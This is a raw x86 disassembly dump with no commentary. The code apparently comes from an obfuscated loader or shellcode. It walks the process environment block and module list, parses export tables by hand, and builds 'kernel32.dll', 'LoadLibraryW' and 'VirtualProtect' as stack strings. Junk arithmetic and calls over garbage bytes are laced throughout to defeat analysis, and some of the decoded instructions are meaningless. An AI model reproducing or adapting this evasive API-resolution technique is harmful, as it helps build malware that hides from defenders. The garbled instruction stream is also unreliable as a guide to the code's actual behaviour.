and esi, 0x13d43
pop esi
push edi
call 0x40279f
add byte [ebx + 0x32], cl
aas
inc eax
dec ebp
inc ecx
dec esp
add esp, 4
add edi, 0xc542
pop edi
mov ecx, dword [ebp - 0x728]
add ecx, dword [ebp - 0x150]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x150]
movsx ecx, byte [ebp + eax - 0x840]
cmp edx, ecx
jne 0x4027d6
mov dword [ebp - 0xc40], 0
jmp 0x402845
push edx
push esi
add esp, 4
xor edx, 0x14c12
sub edx, 0xa838
pop edx
push ecx
and ecx, 0x16974
xor ecx, 0x15965
pop ecx
push ecx
jmp 0x4027ff
jmp 0x402807
pop ecx
mov edx, dword [ebp - 0x728]
add edx, dword [ebp - 0x150]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x150]
movsx edx, byte [ebp + ecx - 0x840]
or edx, 0x20
cmp eax, edx
jge 0x40283b
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x402845
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x40285c
mov eax, dword [ebp - 0x1c04]
mov dword [ebp - 0x3a0], eax
jmp 0x40286d
jmp 0x402646
mov ecx, dword [ebp - 0x72c]
mov dword [ebp - 0x3a0], ecx
cmp dword [ebp - 0x3a0], 0
je 0x402948
push eax
push ebx
add esp, 4
sub eax, 0xff8e
sub eax, 0x8f40
add eax, 0x23d5
or eax, 0x161de
pop eax
push edx
xor edx, 0xac84
add edx, 0x14dca
or edx, 0x5859
pop edx
mov edx, dword [ebp - 0x3a0]
mov dword [ebp - 0x1c08], edx
push ebx
push ecx
add esp, 4
xor ebx, 0x4855
pop ebx
push edx
add edx, 0x60bf
pop edx
push ecx
push ecx
add esp, 4
jmp 0x4028d7
or ecx, 0x3b92
xor ecx, 0x158c1
sub ecx, 0x152a
pop ecx
mov eax, dword [ebp - 0x1c08]
mov dword [ebp - 0x1c0c], eax
lea ecx, [ebp - 0x15e8]
push ecx
call dword [ebp - 0x1c0c]
test eax, eax
jne 0x402948
push eax
jmp 0x402910
or eax, 0x3a14
and eax, 0xd153
and eax, 0x11003
pop eax
push esi
xor esi, 0x148c5
and esi, 0x17552
pop esi
push edi
xor edi, 0x152e7
pop edi
mov dword [ebp - 0x768], 0
jmp 0x403033
push eax
push ebx
add esp, 4
call 0x40295c
add byte [ebp + 0x32], al
aas
xor esi, dword [ebx]
dec esi
inc esp
inc ecx
dec edx
add esp, 4
xor eax, 0x16722
and eax, 0xde07
sub eax, 0x1ca1
pop eax
push edi
and edi, 0x2347
pop edi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1c10], edx
mov eax, dword [ebp - 0x1c10]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1c14], ecx
mov edx, dword [ebp - 0x1c14]
mov dword [ebp - 0x1540], edx
push esi
push edx
add esp, 4
call 0x4029b6
add byte [edi], dh
dec edi
dec ebp
dec ecx
cmp al, 0x47
inc ecx
xor eax, 0x4c48340
pop esi
push edx
sub edx, 0xdf4f
sub edx, 0x7717
and edx, 0xaf7d
or edx, 0x10701
pop edx
cmp dword [ebp - 0x1540], 0
jne 0x4029ec
mov dword [ebp - 0x29c], 0
jmp 0x402c93
mov eax, dword [ebp - 0x1540]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc4c], edx
push ecx
push esi
add esp, 4
call 0x402a11
add byte [ecx + edi], dh
cmp byte [esi + edi + 0x43], al
inc esi
add esp, 4
xor ecx, 0x5e2d
add ecx, 0x2e1f
pop ecx
push edi
jmp 0x402a29
or edi, 0x165a
pop edi
cmp dword [ebp - 0xc4c], 0
jne 0x402a48
mov dword [ebp - 0x29c], 0
jmp 0x402c93
mov eax, dword [ebp - 0xc4c]
mov dword [ebp - 0x4c8], eax
push ebx
jmp 0x402a5c
xor ebx, 0x13328
jmp 0x402a68
call 0x402a74
add byte [edi + 0x43], al
aaa
dec ebp
aas
add esp, 4
pop ebx
push edx
xor edx, 0x18c
sub edx, 0x5427
pop edx
lea ecx, [ebp - 0x15e8]
mov dword [ebp - 0xc48], ecx
mov edx, dword [ebp - 0x4c8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc44], eax
xor ecx, ecx
mov word [ebp - 0x1b4], cx
xor edx, edx
mov word [ebp - 0x28], dx
push ecx
xor ecx, 0x2208
and ecx, 0x3b1f
pop ecx
push edi
call 0x402ace
add byte [esi + 0x4c], al
cmp dword [esi], edi
dec ebx
xor eax, 0x8344333f
les eax, [eax + ebp*8]
or byte [eax], al
add byte [eax], al
add byte [0x37484e4b], dh
cmp dword [eax], edi
add esp, 4
pop edi
mov eax, dword [ebp - 0xc44]
mov cx, word [eax]
mov word [ebp - 0xfd6], cx
mov edx, dword [ebp - 0xc44]
add edx, 2
mov dword [ebp - 0xc44], edx
mov ax, word [ebp - 0xfd6]
mov word [ebp - 0x1b4], ax
mov ecx, dword [ebp - 0xc48]
mov dx, word [ecx]
mov word [ebp - 0xfd8], dx
mov eax, dword [ebp - 0xc48]
add eax, 2
mov dword [ebp - 0xc48], eax
mov cx, word [ebp - 0xfd8]
mov word [ebp - 0x28], cx
push ecx
call 0x402b47
add byte [ecx + 0x4f], cl
inc eax
cmp eax, 0x834c384c
les eax, [ecx + ebx*2]
push edx
push ebx
add esp, 4
and edx, 0x179ff
pop edx
push edi
xor edi, 0x1014f
xor edi, 0x8fa6
sub edi, 0x142b4
pop edi
movzx edx, word [ebp - 0x28]
test edx, edx
jne 0x402b88
movzx eax, word [ebp - 0x1b4]
movzx ecx, word [ebp - 0x28]
sub eax, ecx
mov dword [ebp - 0x1548], eax
jmp 0x402be2
movzx edx, word [ebp - 0x1b4]
movzx eax, word [ebp - 0x28]
cmp edx, eax
je 0x402ab0
movzx ecx, word [ebp - 0x1b4]
xor ecx, 0x20
movzx edx, word [ebp - 0x28]
cmp ecx, edx
je 0x402ab0
movzx eax, word [ebp - 0x1b4]
movzx ecx, word [ebp - 0x28]
cmp eax, ecx
jge 0x402bcc
mov dword [ebp - 0x1544], 0xffffffff
jmp 0x402bd6
mov dword [ebp - 0x1544], 1
mov edx, dword [ebp - 0x1544]
mov dword [ebp - 0x1548], edx
cmp dword [ebp - 0x1548], 0
jne 0x402c2b
push eax
xor eax, 0xc6a0
pop eax
push ecx
push edx
add esp, 4
sub ecx, 0x1483f
add ecx, 0x16a57
pop ecx
push esi
push ebx
add esp, 4
sub esi, 0x5a79
pop esi
push edx
push ecx
add esp, 4
add edx, 0x16281
pop edx
mov eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x29c], eax
jmp 0x402c93
push edi
add edi, 0x6d49
pop edi
push edx
push edi
add esp, 4
call 0x402c45
add byte [edx + 0x4c], al
dec edi
dec esp
dec ecx
aaa
dec ebx
add esp, 4
xor edx, 0xda62
or edx, 0x17f47
pop edx
push ecx
sub ecx, 0xf8c7
pop ecx
mov ecx, dword [ebp - 0x4c8]
mov edx, dword [ecx]
mov dword [ebp - 0x4c8], edx
mov eax, dword [ebp - 0x4c8]
cmp eax, dword [ebp - 0xc4c]
je 0x402c89
mov ecx, dword [ebp - 0x4c8]
cmp dword [ecx + 0x30], 0
jne 0x402a54
mov dword [ebp - 0x29c], 0
push eax
call 0x402ca0
add byte [eax + 0x4c], cl
inc ecx
dec edx
dec eax
add esp, 4
or eax, 0xd632
call 0x402cb5
add byte [esi + esi + 0x34], cl
inc edx
dec ebx
inc eax
add esp, 4
pop eax
push ecx
push ebx
add esp, 4
and ecx, 0x65a1
pop ecx
mov edx, dword [ebp - 0x29c]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x318], eax
push edx
add edx, 0x676f
pop edx
push ebx
add ebx, 0x2c33
pop ebx
push edx
and edx, 0x7c5c
xor edx, 0x161c
pop edx
push eax
add eax, 0x108b9
xor eax, 0x4d88
sub eax, 0x22a1
pop eax
mov dword [ebp - 0x73c], 0
mov ecx, dword [ebp - 0x318]
mov dword [ebp - 0x154c], ecx
cmp dword [ebp - 0x154c], 0
jne 0x402d36
mov edx, dword [ebp - 0x73c]
mov dword [ebp - 0x4cc], edx
jmp 0x403027
mov eax, dword [ebp - 0x154c]
mov ecx, dword [ebp - 0x318]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1550], ecx
jne 0x402d5e
mov edx, dword [ebp - 0x73c]
mov dword [ebp - 0x4cc], edx
jmp 0x403027
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x1550]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x1554], eax
cmp dword [ebp - 0x1554], 0
jne 0x402d90
mov ecx, dword [ebp - 0x73c]
mov dword [ebp - 0x4cc], ecx
jmp 0x403027
mov edx, dword [ebp - 0x318]
add edx, dword [ebp - 0x1554]
mov dword [ebp - 0x730], edx
jne 0x402db5
mov eax, dword [ebp - 0x73c]
mov dword [ebp - 0x4cc], eax
jmp 0x403027
mov ecx, dword [ebp - 0x730]
mov edx, dword [ebp - 0x318]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x1c18], edx
mov eax, dword [ebp - 0x730]
mov ecx, dword [ebp - 0x318]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x1c1c], ecx
mov edx, dword [ebp - 0x730]
mov eax, dword [ebp - 0x318]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x1c20], eax
mov dword [ebp - 0x734], 0
jmp 0x402e0f
mov ecx, dword [ebp - 0x734]
add ecx, 1
mov dword [ebp - 0x734], ecx
mov edx, dword [ebp - 0x730]
mov eax, dword [ebp - 0x734]
cmp eax, dword [edx + 0x18]
jae 0x40301b
mov ecx, dword [ebp - 0x734]
mov edx, dword [ebp - 0x1c18]
mov eax, dword [ebp - 0x318]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x738], eax
mov ecx, dword [ebp - 0x734]
mov edx, dword [ebp - 0x1c1c]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x1c20]
mov edx, dword [ebp - 0x318]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x1c24], edx
mov dword [ebp - 0x154], 0
jmp 0x402e7f
mov eax, dword [ebp - 0x154]
add eax, 1
mov dword [ebp - 0x154], eax
mov ecx, dword [ebp - 0x738]
add ecx, dword [ebp - 0x154]
movsx edx, byte [ecx]
test edx, edx
je 0x402f31
mov eax, dword [ebp - 0x154]
movsx ecx, byte [ebp + eax - 0x824]
test ecx, ecx
je 0x402f31
push ecx
or ecx, 0x82c6
pop ecx
push edi
jmp 0x402eba
pop edi
push esi
or esi, 0x844
call 0x402ece
add byte [ecx + 0x3d], al
cmp al, 0x43
cmp ecx, dword [esi - 0x7d]
les eax, [ecx + eax*4]
out 0xf3, al
test dword [eax], 0xecf68100
sub eax, dword [eax]
add byte [esi - 0x75], bl
xchg ebp, eax
enter 0xfffffffffffffff8, 0xffffffffffffffff
add edx, dword [ebp - 0x154]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x154]
movsx edx, byte [ebp + ecx - 0x824]
cmp eax, edx
je 0x402f23
mov eax, dword [ebp - 0x738]
add eax, dword [ebp - 0x154]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x154]
movsx eax, byte [ebp + edx - 0x824]
cmp ecx, eax
jne 0x402f2a
jmp 0x402e70
jmp 0x402f31
push edi
or edi, 0x864c
and edi, 0x16196
and edi, 0x16e57
pop edi
push esi
push eax
add esp, 4
xor esi, 0xe51f
xor esi, 0xaa3c
or esi, 0xbaae
add esi, 0xf1f3
pop esi
mov ecx, dword [ebp - 0x738]
add ecx, dword [ebp - 0x154]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x154]
movsx ecx, byte [ebp + eax - 0x824]
cmp edx, ecx
jne 0x402f90
mov dword [ebp - 0xc50], 0
jmp 0x402fff
push ebx
xor ebx, 0xf010
sub ebx, 0x1093d
sub ebx, 0x15dfb
sub ebx, 0xcac
pop ebx
push esi
push ecx
add esp, 4
or esi, 0x59f7
or esi, 0xe0ab
add esi, 0x98a1
pop esi
mov edx, dword [ebp - 0x738]
add edx, dword [ebp - 0x154]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x154]
movsx edx, byte [ebp + ecx - 0x824]
or edx, 0x20
cmp eax, edx
jge 0x402ff5
mov dword [ebp - 0xc50], 0xffffffff
jmp 0x402fff
mov dword [ebp - 0xc50], 1
cmp dword [ebp - 0xc50], 0
jne 0x403016
mov eax, dword [ebp - 0x1c24]
mov dword [ebp - 0x4cc], eax
jmp 0x403027
jmp 0x402e00
mov ecx, dword [ebp - 0x73c]
mov dword [ebp - 0x4cc], ecx
mov edx, dword [ebp - 0x4cc]
mov dword [ebp - 0x768], edx
push eax
push ecx
add esp, 4
sub eax, 0x17bd6
add eax, 0x6414
call 0x403053
add byte [esp + esi], dh
inc eax
dec esp
inc esi
dec ebx
dec esp
inc edx
add esp, 4
pop eax
push ecx
add ecx, 0x2e1b
xor ecx, 0xb886
pop ecx
mov eax, dword [ebp - 0x398]
add eax, 0xe
mov dword [ebp - 0x1c74], eax
push edx
push eax
add esp, 4
or edx, 0x173bc
xor edx, 0x4b12
sub edx, 0x1294
pop edx
push edx
push eax
add esp, 4
or edx, 0xc413
add edx, 0x113a0
pop edx
push ecx
jmp 0x4030a5
pop ecx
cmp dword [ebp - 0x398], 0
je 0x4030b8
cmp dword [ebp - 0xa54], 0
jne 0x4030fe
push edi
or edi, 0xc633
sub edi, 0x13ed2
and edi, 0x5ac0
or edi, 0x156f3
pop edi
push edi
push edx
add esp, 4
add edi, 0x95f
or edi, 0xe997
sub edi, 0x4763
pop edi
mov ecx, dword [ebp - 0x768]
mov dword [ebp - 0x1c28], ecx
push 0
call dword [ebp - 0x1c28]
mov dword [ebp - 0x1d44], 0xa
push ecx
and ecx, 0x10cac
sub ecx, 0x9a2e
xor ecx, 0x16187
pop ecx
push eax
push edx
add esp, 4
or eax, 0x102c2
add eax, 0xf846
add eax, 0x9e61
sub eax, 0x5d4d
pop eax
mov edx, dword [ebp - 0x398]
mov al, byte [edx + 0xa]
mov byte [ebp - 0x3ad], al
mov ecx, dword [ebp - 0xa54]
sub ecx, dword [ebp - 0x398]
mov dword [ebp - 0x1594], ecx
mov dword [ebp - 0xc80], 0
push ebx
jmp 0x40316e
call 0x40317a
add byte [esi + edi], bh
cmp al, 0x4d
inc eax
add esp, 4
pop ebx
push ecx
push eax
add esp, 4
sub ecx, 0x13b5a
jmp 0x403190
xor ecx, 0x86af
pop ecx
mov byte [ebp - 0x978], 0x56
mov byte [ebp - 0x977], 0x69
mov byte [ebp - 0x976], 0x72
mov byte [ebp - 0x975], 0x74
mov byte [ebp - 0x974], 0x75
mov byte [ebp - 0x973], 0x61
mov byte [ebp - 0x972], 0x6c
mov byte [ebp - 0x971], 0x50
mov byte [ebp - 0x970], 0x72
mov byte [ebp - 0x96f], 0x6f
mov byte [ebp - 0x96e], 0x74
mov byte [ebp - 0x96d], 0x65
mov byte [ebp - 0x96c], 0x63
mov byte [ebp - 0x96b], 0x74
mov byte [ebp - 0x96a], 0
push eax
push edi
add esp, 4
xor eax, 0x11e58
pop eax
push ecx
push edx
add esp, 4
xor ecx, 0x14327
or ecx, 0x1a08
pop ecx
push edi
call 0x40322e
add byte [ebx + 0x40], al
cmp dword [esi], edi
push eax
dec esp
dec esp
inc edi
aas
add esp, 4
pop edi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1c2c], edx
mov eax, dword [ebp - 0x1c2c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1c30], ecx
mov edx, dword [ebp - 0x1c30]
mov dword [ebp - 0x1558], edx
push esi
push eax
add esp, 4
call 0x40326c
add byte [esi], bh
cmp al, byte [edi + 0x4d]
push eax
inc edx
dec edx
add esp, 4
pop esi
push esi
xor esi, 0x9d9b
pop esi
push ebx
push ebx
add esp, 4
sub ebx, 0xe3b6
pop ebx
push ebx
sub ebx, 0xd97a
pop ebx
cmp dword [ebp - 0x1558], 0
jne 0x4032a4
mov dword [ebp - 0x2a0], 0
jmp 0x40354b
mov eax, dword [ebp - 0x1558]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc5c], edx
push eax
sub eax, 0x162e6
xor eax, 0xe544
xor eax, 0x128b4
pop eax
push edi
push ebx
add esp, 4
or edi, 0x641f
xor edi, 0xdf7d
sub edi, 0x7323
xor edi, 0xb33e
pop edi
cmp dword [ebp - 0xc5c], 0
jne 0x403300
mov dword [ebp - 0x2a0], 0
jmp 0x40354b
mov eax, dword [ebp - 0xc5c]
mov dword [ebp - 0x4d0], eax
push eax
xor eax, 0x12c2b
call 0x40331f
add byte [eax], bh
dec edi
xor bh, byte [0xc4834f43]
add al, 0x81
loopne 0x403364
sbb al, 1
add byte [eax + 0x57], bl
push edi
add esp, 4
jmp 0x403337
or edi, 0x3a7
pop edi
lea ecx, [ebp - 0x15e8]
mov dword [ebp - 0xc58], ecx
mov edx, dword [ebp - 0x4d0]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc54], eax
xor ecx, ecx
mov word [ebp - 0x1b8], cx
xor edx, edx
mov word [ebp - 0x2c], dx
push ebx
and ebx, 0xe361
jmp 0x403376
pop ebx
push eax
push edi
add esp, 4
xor eax, 0x84dc
call 0x403390
add byte [esi + ecx*2], dh
cmp eax, 0x43403642
cmp al, 0x83
les eax, [ecx + eax*4]
loopne 0x4033db
dec edi
add dword [eax], eax
pop eax
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xfda], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xfda]
mov word [ebp - 0x1b8], ax
mov ecx, dword [ebp - 0xc58]
mov dx, word [ecx]
mov word [ebp - 0xfdc], dx
mov eax, dword [ebp - 0xc58]
add eax, 2
mov dword [ebp - 0xc58], eax
mov cx, word [ebp - 0xfdc]
mov word [ebp - 0x2c], cx
push eax
push edx
add esp, 4
add eax, 0x101f5
call 0x403408
add byte [eax], bh
cmp eax, 0x43493e38
add esp, 4
jmp 0x403414
invalid
sub eax, 0x17986
pop eax
push edx
sub edx, 0x17be7
pop edx
movzx edx, word [ebp - 0x2c]
test edx, edx
jne 0x403440
movzx eax, word [ebp - 0x1b8]
movzx ecx, word [ebp - 0x2c]
sub eax, ecx
mov dword [ebp - 0x1560], eax
jmp 0x40349a
movzx edx, word [ebp - 0x1b8]
movzx eax, word [ebp - 0x2c]
cmp edx, eax
je 0x403368
movzx ecx, word [ebp - 0x1b8]
xor ecx, 0x20
movzx edx, word [ebp - 0x2c]
cmp ecx, edx
je 0x403368
movzx eax, word [ebp - 0x1b8]
movzx ecx, word [ebp - 0x2c]
cmp eax, ecx
jge 0x403484
mov dword [ebp - 0x155c], 0xffffffff
jmp 0x40348e
mov dword [ebp - 0x155c], 1
mov edx, dword [ebp - 0x155c]
mov dword [ebp - 0x1560], edx
cmp dword [ebp - 0x1560], 0
jne 0x4034e3
push edi
call 0x4034b1
add byte [edi], bh
cmp al, byte [edi + 0x3f]
dec esi
inc edx
dec ebp
add esp, 4
and edi, 0xf112
add edi, 0xfc64
add edi, 0x15b7b
pop edi
push edi
sub edi, 0x7815
add edi, 0x8aa9
pop edi
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x2a0], eax
jmp 0x40354b
push esi
push ebx
add esp, 4
or esi, 0x116d3
call 0x4034fd
add byte [eax + 0x3f], cl
dec ecx
cmp esi, dword [esi]
cmp eax, 0x83393243
les eax, [ecx + eax*4]
div dl
outsb dx, byte [esi]
add byte [eax], al
pop esi
push edx
and edx, 0x1e56
or edx, 0xad
pop edx
mov ecx, dword [ebp - 0x4d0]
mov edx, dword [ecx]
mov dword [ebp - 0x4d0], edx
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0xc5c]
je 0x403541
mov ecx, dword [ebp - 0x4d0]
cmp dword [ecx + 0x30], 0
jne 0x40330c
mov dword [ebp - 0x2a0], 0
push ecx
call 0x403558
add byte [ebx + 0x45], al
dec ebx
inc esi
xor al, 0x4f
add esp, 4
call 0x40356b
add byte [ecx + 0x3b], cl
inc ebp
dec ecx
cmp al, 0x3a
xor al, 0x42
dec esp
dec ebx
add esp, 4
and ecx, 0x6855
pop ecx
push ebx
and ebx, 0x17fb8
pop ebx
cmp dword [ebp - 0x2a0], 0
jne 0x403e81
mov edx, 0x6b
mov word [ebp - 0x1670], dx
mov eax, 0x65
mov word [ebp - 0x166e], ax
mov ecx, 0x72
mov word [ebp - 0x166c], cx
mov edx, 0x6e
mov word [ebp - 0x166a], dx
mov eax, 0x65
mov word [ebp - 0x1668], ax
mov ecx, 0x6c
mov word [ebp - 0x1666], cx
mov edx, 0x33
mov word [ebp - 0x1664], dx
mov eax, 0x32
mov word [ebp - 0x1662], ax
mov ecx, 0x2e
mov word [ebp - 0x1660], cx
mov edx, 0x64
mov word [ebp - 0x165e], dx
mov eax, 0x6c
mov word [ebp - 0x165c], ax
mov ecx, 0x6c
mov word [ebp - 0x165a], cx
xor edx, edx
mov word [ebp - 0x1658], dx
push ecx
push eax
add esp, 4
jmp 0x40362f
and ecx, 0x15f8c
add ecx, 0x7f60
pop ecx
push ebx
sub ebx, 0x1266d
call 0x403651
add byte [edx], bh
inc ecx
inc esi
cmp eax, 0x4640384f
add esp, 4
pop ebx
mov byte [ebp - 0x850], 0x4c
mov byte [ebp - 0x84f], 0x6f
mov byte [ebp - 0x84e], 0x61
mov byte [ebp - 0x84d], 0x64
mov byte [ebp - 0x84c], 0x4c
mov byte [ebp - 0x84b], 0x69
mov byte [ebp - 0x84a], 0x62
mov byte [ebp - 0x849], 0x72
mov byte [ebp - 0x848], 0x61
mov byte [ebp - 0x847], 0x72
mov byte [ebp - 0x846], 0x79
mov byte [ebp - 0x845], 0x57
mov byte [ebp - 0x844], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1c38], edx
mov eax, dword [ebp - 0x1c38]
mov dword [ebp - 0x1564], eax
push eax
push ecx
add esp, 4
or eax, 0x13a9b
sub eax, 0x7c20
sub eax, 0x7d6
add eax, 0xb24c
pop eax
push eax
push edx
add esp, 4
jmp 0x403702
jmp 0x403708
pop eax
cmp dword [ebp - 0x1564], 0
jne 0x403721
mov dword [ebp - 0x740], 0
jmp 0x4039c8
mov ecx, dword [ebp - 0x1564]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc68], eax
push edx
push edi
add esp, 4
jmp 0x40373f
call 0x40374f
add byte [0x3835374f], dh
cmp al, 0x33
aas
cmp esi, dword [ebx]
add esp, 4
call 0x403761
add byte [ebp + edi + 0x49], cl
inc esi
aaa
inc esp
dec eax
cmp edi, dword [eax]
add esp, 4
pop edx
cmp dword [ebp - 0xc68], 0
jne 0x40377d
mov dword [ebp - 0x740], 0
jmp 0x4039c8
mov ecx, dword [ebp - 0xc68]
mov dword [ebp - 0x4d4], ecx
push edi
xor edi, 0xbb3b
add edi, 0xfd92
jmp 0x40379e
pop edi
push ecx
jmp 0x4037a8
pop ecx
push ebx
push esi
add esp, 4
add ebx, 0x11659
xor ebx, 0x5bdb
pop ebx
lea edx, [ebp - 0x1670]
mov dword [ebp - 0xc64], edx
mov eax, dword [ebp - 0x4d4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc60], ecx
xor edx, edx
mov word [ebp - 0x1bc], dx
xor eax, eax
mov word [ebp - 0x30], ax
push eax
call 0x4037f2
add byte [esi + eax*2], dh
dec edx
dec edx
inc edi
add esp, 4
or eax, 0x2698
sub eax, 0x17eaf
add eax, 0xe3bf
pop eax
push eax
jmp 0x403810
add eax, 0xe1b
pop eax
mov ecx, dword [ebp - 0xc60]
mov dx, word [ecx]
mov word [ebp - 0xfde], dx
mov eax, dword [ebp - 0xc60]
add eax, 2
mov dword [ebp - 0xc60], eax
mov cx, word [ebp - 0xfde]
mov word [ebp - 0x1bc], cx
mov edx, dword [ebp - 0xc64]
mov ax, word [edx]
mov word [ebp - 0xfe0], ax
mov ecx, dword [ebp - 0xc64]
add ecx, 2
mov dword [ebp - 0xc64], ecx
mov dx, word [ebp - 0xfe0]
mov word [ebp - 0x30], dx
push ebx
jmp 0x403874
call 0x403882
add byte [eax + 0x44], cl
dec ecx
dec esp
push eax
inc edx
push eax
aaa
add esp, 4
call 0x403895
add byte [ebx + 0x47], al
cmp eax, 0x3a423637
cmp al, 0x4f
cmp eax, 0x5b04c483
push ebx
jmp 0x40389f
pop ebx
movzx eax, word [ebp - 0x30]
test eax, eax
jne 0x4038bd
movzx ecx, word [ebp - 0x1bc]
movzx edx, word [ebp - 0x30]
sub ecx, edx
mov dword [ebp - 0x156c], ecx
jmp 0x403917
movzx eax, word [ebp - 0x1bc]
movzx ecx, word [ebp - 0x30]
cmp eax, ecx
je 0x4037e5
movzx edx, word [ebp - 0x1bc]
xor edx, 0x20
movzx eax, word [ebp - 0x30]
cmp edx, eax
je 0x4037e5
movzx ecx, word [ebp - 0x1bc]
movzx edx, word [ebp - 0x30]
cmp ecx, edx
jge 0x403901
mov dword [ebp - 0x1568], 0xffffffff
jmp 0x40390b
mov dword [ebp - 0x1568], 1
mov eax, dword [ebp - 0x1568]
mov dword [ebp - 0x156c], eax
cmp dword [ebp - 0x156c], 0
jne 0x403960
push edi
push edi
add esp, 4
and edi, 0x86da
xor edi, 0xac98
xor edi, 0x1587d
pop edi
push edi
add edi, 0x576
add edi, 0xf0de
pop edi
push esi
push edx
add esp, 4
add esi, 0x953a
pop esi
mov ecx, dword [ebp - 0x4d4]
mov dword [ebp - 0x740], ecx
jmp 0x4039c8
push edx
add edx, 0x1856e
xor edx, 0x17ca0
or edx, 0xf1d3
or edx, 0x2124
pop edx
push edi
push ecx
add esp, 4
and edi, 0xed8e
pop edi
push eax
push ecx
add esp, 4
add eax, 0xf1ce
pop eax
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx]
mov dword [ebp - 0x4d4], eax
mov ecx, dword [ebp - 0x4d4]
cmp ecx, dword [ebp - 0xc68]
je 0x4039be
mov edx, dword [ebp - 0x4d4]
cmp dword [edx + 0x30], 0
jne 0x403789
mov dword [ebp - 0x740], 0
push ecx
call 0x4039d6
add byte [ebx + eax*2 + 0x4d], cl
dec ebp
dec edx
push eax
xor al, 0x83
les eax, [ecx + ebx*2]
push edx
and edx, 0x16d90
call 0x4039ef
add byte [ebp + 0x48], al
xor bh, byte [ecx]
inc esp
dec eax
inc eax
xor eax, dword [ebx + 0x5eb04c4]
inc esi
inc ebx
xor eax, 0x835a484b
mov ebp, 0xfffff8c0
add byte [ebp + 0x41], dh
push ebx
xor ebx, 0x8613
pop ebx
push ebx
push eax
add esp, 4
or ebx, 0x1699c
xor ebx, 0xd4c6
xor ebx, 0xedb4
jmp 0x403a28
pop ebx
push esi
push ecx
add esp, 4
xor esi, 0xcf15
pop esi
mov dword [ebp - 0xa50], 0
jmp 0x40456b
push ecx
or ecx, 0x296d
pop ecx
push eax
xor eax, 0x8c2a
or eax, 0xe23b
pop eax
push edi
add edi, 0x167e4
jmp 0x403ea6
and edi, 0xd34
add edi, 0x122a5
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c54], eax
mov ecx, dword [ebp - 0x1c54]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1c58], edx
mov eax, dword [ebp - 0x1c58]
mov dword [ebp - 0x157c], eax
push eax
sub eax, 0x17ec4
jmp 0x403eea
or eax, 0x43f3
xor eax, 0x6bf7
pop eax
push esi
push eax
add esp, 4
jmp 0x403f05
jmp 0x403f0b
pop esi
cmp dword [ebp - 0x157c], 0
jne 0x403f24
mov dword [ebp - 0x2a0], 0
jmp 0x4041cb
mov ecx, dword [ebp - 0x157c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc78], eax
push eax
or eax, 0x4d2d
xor eax, 0x794
or eax, 0xa106
and eax, 0x13728
pop eax
push eax
push edi
add esp, 4
and eax, 0x9f92
xor eax, 0x361a
or eax, 0xfdc7
pop eax
cmp dword [ebp - 0xc78], 0
jne 0x403f80
mov dword [ebp - 0x2a0], 0
jmp 0x4041cb
mov ecx, dword [ebp - 0xc78]
mov dword [ebp - 0x4d8], ecx
push eax
sub eax, 0x8910
pop eax
push ecx
push edx
add esp, 4
xor ecx, 0xdb6b
and ecx, 0x17da7
pop ecx
push edi
push ebx
add esp, 4
and edi, 0xaeb8
xor edi, 0x2111
and edi, 0xbc43
pop edi
lea edx, [ebp - 0x15e8]
mov dword [ebp - 0xc74], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc70], ecx
xor edx, edx
mov word [ebp - 0x1c0], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edx
sub edx, 0x18408
pop edx
push eax
sub eax, 0x16964
add eax, 0x14b84
or eax, 0xdf6e
pop eax
push ecx
xor ecx, 0x131d0
pop ecx
push ecx
or ecx, 0xb1e6
add ecx, 0x17580
pop ecx
mov ecx, dword [ebp - 0xc70]
mov dx, word [ecx]
mov word [ebp - 0xfe2], dx
mov eax, dword [ebp - 0xc70]
add eax, 2
mov dword [ebp - 0xc70], eax
mov cx, word [ebp - 0xfe2]
mov word [ebp - 0x1c0], cx
mov edx, dword [ebp - 0xc74]
mov ax, word [edx]
mov word [ebp - 0xfe4], ax
mov ecx, dword [ebp - 0xc74]
add ecx, 2
mov dword [ebp - 0xc74], ecx
